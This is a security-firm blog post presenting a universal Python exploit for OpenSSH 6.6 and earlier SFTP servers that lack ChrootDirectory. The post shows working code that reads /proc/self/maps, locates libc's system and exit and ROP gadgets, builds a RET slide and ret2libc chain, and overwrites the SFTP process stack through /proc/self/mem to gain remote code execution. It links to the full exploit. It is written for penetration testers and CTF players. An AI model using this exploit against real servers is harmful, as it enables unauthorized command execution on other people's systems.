OpenSSH <=6.6 SFTP misconfiguration universal exploit
Published on March 13, 2018 by Mindaugas Slusnys
Recently our team ran into an interesting SFTP misconfiguration which allows for a reliable RCE on affected systems. The original discovery by Jann Horn can be found here http://seclists.org/fulldisclosure/2014/Oct/35. Although the affected OpenSSH version is a bit dated, it can still be found on many internal engagements and various CTF challenges. The original summary reads:
OpenSSH lets you grant SFTP access to users without allowing full command execution using “ForceCommand internal-sftp”. However, if you misconfigure the server and don’t use ChrootDirectory, the user will be able to access all parts of the filesystem that he has access to, including procfs. On modern Linux kernels (>=2.6.39, I think), /proc/self/maps reveals the memory layout and /proc/self/mem lets you write to arbitrary memory positions. Combine those and you get easy RCE.
In this blog post we will use the advisory and the provided 64bit PoC to produce a universal python exploit which targets both 32 and 64 bit SFTP subsystems. The basic steps to get a universal exploit working are as follows:
- connect to the SFTP server using paramiko
- download remote /proc/self/maps for parsing
- determine architecture (32/64bit), parse libc base address and stack address range
- fetch remote libc and extract system and exit offsets from downloaded libc
- depending on architecture (32⁄64 bit) find RET/ POP RDI; RET gadgets
- prepare a new stack with a RET slide and a small ret2libc/ROP sequence at the end of it that is used to call system with user provided command
- seek to the previously discovered stack address range and start writing new stack in chunks from the bottom up
Parsing /proc/self/maps
The code to parse the downloaded memory layout is as follows. It determines whether the process is 32 or 64 bit, extracts libc base address and the full path as well as the stack address range.
with open("maps","r") as f:
lines = f.readlines()
for line in lines:
words = line.split()
addr = words[0]
if ("libc" in line and "r-xp" in line):
path = words[-1]
addr = addr.split('-')
BITS = 64 if len(addr[0]) > 8 else 32
print "[+] {}bit libc mapped @ {}-{}, path: {}".format(BITS, addr[0], addr[1], path)
libc_base = int(addr[0], 16)
libc_path = path
if ("[stack]" in line):
addr = addr.split("-")
saddr_start = int(addr[0], 16)
saddr_end = int(addr[1], 16)
print "[+] Stack mapped @ {}-{}".format(addr[0], addr[1])
Extracting information from libc
With the help of the pwntools library, the following piece of code determines the addresses of system and exit calls and extracts POP RDI; RET (64bit) and RET (both 32 and 64bit) gadgets.
e = ELF("libc.so")
sys_addr = libc_base + e.symbols['system']
exit_addr = libc_base + e.symbols['exit']
# gadgets for the RET slide and system()
if BITS == 64:
pop_rdi_ret = libc_base + next(e.search('\x5f\xc3'))
ret_addr = pop_rdi_ret + 1
else:
ret_addr = libc_base + next(e.search('\xc3'))
Composing a new stack
The following code composes a new stack with a RET slide and a small sequence at the end which calls system(‘cmd’). The RET slide is absolutely necessary in this case as we do not know the exact address of the hijacked execution flow. The calling convention dictates that on 64bit systems the arguments are passed in via registers (starting with RDI) and on 32bit systems - on the stack. Therefore, depending on the architecture, we use POP RDI; RET gadget on 64bit and the ret2libc technique with the provided command’s address on the stack on 32bit to call system().
if BITS == 32:
new_stack += p32(ret_addr) * (stack_size/4)
new_stack = cmd + "\x00" + new_stack[len(cmd)+1:-12]
new_stack += p32(sys_addr)
new_stack += p32(exit_addr)
new_stack += p32(saddr_start)
else:
new_stack += p64(ret_addr) * (stack_size/8)
new_stack = cmd + "\x00" + new_stack[len(cmd)+1:-32]
new_stack += p64(pop_rdi_ret)
new_stack += p64(saddr_start)
new_stack += p64(sys_addr)
new_stack += p64(exit_addr)
Writing the new stack
The following piece of code places the command to be executed at the top of the stack and writes the new stack from bottom up in 32,000 byte chunks:
# write cmd to top of the stack
f.seek(saddr_start)
f.write(cmd + "\x00")
# write the rest from bottom up, we're going to crash at some point
for off in range(stack_size - 32000, 0, -32000):
cur_addr = saddr_start + off
try:
f.seek(cur_addr)
f.write(new_stack[off:off+32000])
except:
print "Stack write failed - that's probably good!"
print "Check if your command was executed..."
sys.exit(0)
During the new stack write - at some point we are going to hijack the SFTP process execution flow and land somewhere inside the RET slide. Then, we will slide all the way to our system() call. The following screenshot shows the execution flow reaching POP RDI; RET gadget with the stack contents prepared for the system() call.
Download
The full exploit code is available from https://github.com/SECFORCE/sftp-exploit
You may also be interested in...
MySQL server is affected by a remote DoS attack, which could be exploited by a remote unauthenticated attacker to cause a loss of availability on the targeted service.
See more
Diving into some common, but sometimes overlooked, AWS Cognito misconfigurations.
See more